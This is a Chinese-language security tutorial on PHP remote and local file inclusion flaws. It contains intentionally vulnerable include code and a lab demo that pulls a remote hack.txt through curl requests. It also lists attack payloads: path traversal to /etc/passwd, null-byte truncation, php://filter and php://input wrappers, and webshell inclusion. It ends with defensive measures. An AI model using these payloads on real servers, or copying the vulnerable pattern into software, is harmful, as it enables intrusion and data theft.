远程文件包含攻击Remote File Include,它也属于是代码注入的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。与其对应的是本地文件包含(Local File Inclusion,LFI)。

文件包含漏洞可能出现在JSP、PHP、ASP等语言中,原理都是一样的。它们都是通过PHP的包含函数即:require(),require_once(),include()和include_once()来使用。

一般情况下,用户通过包含函数将具有特定功能的函数或类包含到当前脚本中,是没有什么问题的。但是有时候,为了方便,需要动态的包含文件,这就会留下一些攻击漏洞。

实例

通常情况下,LFI攻击威胁不大,因为本地服务器上的文件是比较确定的,攻击者想要上传带有攻击性代码的文件也不是件容易的事。RFI攻击才是我们需要防范的事。那么,RFI攻击是如何实现的呢?

首先,提供一个存在RFI漏洞的代码示例(index.php):

1
2
3
4
5
6
7
<?php  
// 存在RFI漏洞的代码片段  
  
$file = $_GET['file'];  
include $file;  
  
?>  

脚本中使用了利用GET方法来动态包含文件,例如:在index.php同级目录下存在include.php文件,我们就可以通过访问类似URL127.0.0.1/lab/index.php?file=include.php来包含include.php文件,随后,服务器将解析include.php脚本,将产生的HTML代码传送给浏览器执行。

目前看来,还没出现什么安全问题,因为还仅仅只是包含本地文件。如果是包含远程文件,问题就来了,因为攻击者是可以任意编码远程文件的。

需要说明的是,进行RFI攻击需要同时具备三个条件(被攻击机器):

  • allow_url_fopen = On (默认开启)
  • allow_url_include = On (默认关闭)
  • 被包含的变量前没有目录的限制

同时满足了这三个条件,就等于为攻击者打开了大门。为了清楚地理解,下面给出一个LFI攻击的实例。(说明:在本地搭建一个存在RFI漏洞的环境,通过包含一个远程主机上的文件来攻击这个本地主机)

第一步:设置php.ini文件,将allow_url_fopenallow_url_include都开启,重启Apache

第二步:创建存在RFI漏洞的脚本文件,如上面的index.php

第三步:在远程主机上创建一个带有攻击性代码的文本文件hack.txt(Just test),注意这个文件不能被服务器解析,如不能为PHP脚本文件。因为只是演示,文本文件被执行就能满足演示效果了。hack.txt文件内容如下:

1
hahaha,You are hacked. <?php echo $_GET['a']; ?>  

将文本文件放在一个拥有登录权限的主机根目录下,文本文件在互联网上的位置为:http://yourhost/hack.txt

第四步:将攻击文件的URL带入include,进行攻击,如下所示:

1
2
curl 127.0.0.1/lab/index.php?file=ttp://yourhost/hack.txt
hahaha,You are hacked.

可以看到,文本文件被执行。接着,我们使用其中的PHP代码,如下所示:

1
2
curl curl 127.0.0.1/lab/index.php?file=ttp://yourhost/hack.txt&a=helloworld
hahaha,You are hacked.helloworld

可以看到,文本文件中的PHP代码被成功执行,现在只是一个演示,但是已经能说明RFI攻击过程。如果攻击者在文件中放入了系统命令,后果将不堪设想。

攻防

上面提到,攻击文件不能是PHP文件,所以有些经验丰富的开发者会考虑将被包含文件的扩展名写死,如:

1
2
3
4
5
6
7
<?php  
// 存在RFI漏洞的代码片段  
  
$file = $_GET['file'];  
include $file.'.php';  
  
?>  

这样,通过以上方法包含远程文件,系统就会警告找不到被包含文件,从而避免攻击。

这种方法确实能起到一定作用,但对那些有经验的攻击者来说,这不是问题。我们知道PHP引擎是有C来实现的,C中空字符就是字符串结束符,因此可以使用空字符将扩展名截断,实现RFI攻击。

理解了RFI攻击原理,防御也就简单了。在配置层面,保持PHP的默认设置,将allow_url_include关闭;在代码层面,如果一定要动态包含文件,最好明确规定包含哪些文件,进行白名单比对。同时,也可以在包含函数中加入目录限制。

利用方法

文件包含漏洞有很多利用方式:

1、读取敏感文件

如../../../../../etc/passwd来读取敏感文件。

2、包含shell

如有其他漏洞将shell写入目标服务器中,或者可以远程包含自己服务器的shell,就可以通过包含shell文件来通过目标服务器apache来执行shell,用来提权之类的操作。

3、配合文件上传漏洞

如果上传的木马文件所在的路径不可以通过外网访问,但是可以通过文件包含漏洞读取,那么就可以构造参数将该文件运行,就可以得到webshell。

4、使用PHP封装协议读取文件和写入PHP文件

读取文件,可以通过输入page参数值如下:php://filter/read=convert.base64-encode/resource=../../../../../var/www/html/upload/xxx.txt来读取并执行。

写入文件,可以通过传入page=php://input,然后post提交我们要输入的内容。

应对

  1. 判断包含中的参数是否外部可控。

  2. 限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。

  3. 验证被包含的文件是否在白名单中。

  4. 尽量不要使用变量,如要使用包含,直接规定好包含的文件名,如:“include(“head.php”)”。

  5. 可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

  6. 如非必要,不要打开远程文件包含。

Reference